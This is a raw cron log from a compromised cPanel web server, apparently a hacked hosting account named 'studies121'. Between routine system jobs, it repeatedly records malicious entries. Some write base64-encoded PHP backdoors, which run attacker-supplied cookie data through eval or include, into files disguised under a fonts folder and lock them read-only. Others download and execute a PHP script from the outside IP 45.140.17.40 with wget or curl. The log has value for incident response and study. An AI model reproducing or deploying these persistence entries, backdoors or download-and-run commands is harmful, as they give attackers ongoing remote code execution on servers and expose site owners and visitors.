Sep 20 13:43:01 ip-184-168-122-23 CROND[15902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:44:01 ip-184-168-122-23 CROND[16131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:44:01 ip-184-168-122-23 CROND[16130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:44:01 ip-184-168-122-23 CROND[16134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:44:01 ip-184-168-122-23 CROND[16136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:44:01 ip-184-168-122-23 CROND[16137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:45:01 ip-184-168-122-23 CROND[16385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:45:01 ip-184-168-122-23 CROND[16386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:45:01 ip-184-168-122-23 CROND[16389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:45:01 ip-184-168-122-23 CROND[16388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:45:01 ip-184-168-122-23 CROND[16391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:45:01 ip-184-168-122-23 CROND[16392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:46:01 ip-184-168-122-23 CROND[16642]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 13:46:01 ip-184-168-122-23 CROND[16644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:46:01 ip-184-168-122-23 CROND[16647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:46:01 ip-184-168-122-23 CROND[16646]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 13:46:01 ip-184-168-122-23 CROND[16648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:46:01 ip-184-168-122-23 CROND[16650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:46:01 ip-184-168-122-23 CROND[16649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:47:01 ip-184-168-122-23 CROND[16915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:47:01 ip-184-168-122-23 CROND[16914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:47:01 ip-184-168-122-23 CROND[16919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:47:01 ip-184-168-122-23 CROND[16917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:48:01 ip-184-168-122-23 CROND[17247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:48:01 ip-184-168-122-23 CROND[17249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:48:01 ip-184-168-122-23 CROND[17251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:48:01 ip-184-168-122-23 CROND[17254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:48:01 ip-184-168-122-23 CROND[17255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:49:01 ip-184-168-122-23 CROND[17508]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 20 13:49:01 ip-184-168-122-23 CROND[17509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:49:01 ip-184-168-122-23 CROND[17511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:49:01 ip-184-168-122-23 CROND[17512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:49:01 ip-184-168-122-23 CROND[17510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17798]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:50:01 ip-184-168-122-23 CROND[17807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:50:01 ip-184-168-122-23 CROND[17811]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:50:01 ip-184-168-122-23 CROND[17815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:51:01 ip-184-168-122-23 CROND[18094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:51:01 ip-184-168-122-23 CROND[18093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:51:01 ip-184-168-122-23 CROND[18091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:51:01 ip-184-168-122-23 CROND[18090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:52:01 ip-184-168-122-23 CROND[18342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:52:01 ip-184-168-122-23 CROND[18344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:52:01 ip-184-168-122-23 CROND[18347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:52:01 ip-184-168-122-23 CROND[18345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:52:01 ip-184-168-122-23 CROND[18346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:53:01 ip-184-168-122-23 CROND[18616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:53:01 ip-184-168-122-23 CROND[18618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:53:01 ip-184-168-122-23 CROND[18619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:53:01 ip-184-168-122-23 CROND[18622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:54:01 ip-184-168-122-23 CROND[18883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:54:01 ip-184-168-122-23 CROND[18882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:54:01 ip-184-168-122-23 CROND[18886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:54:01 ip-184-168-122-23 CROND[18884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:54:01 ip-184-168-122-23 CROND[18885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:55:01 ip-184-168-122-23 CROND[19150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:55:01 ip-184-168-122-23 CROND[19152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:55:01 ip-184-168-122-23 CROND[19153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:55:01 ip-184-168-122-23 CROND[19155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:55:01 ip-184-168-122-23 CROND[19157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:55:01 ip-184-168-122-23 CROND[19156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
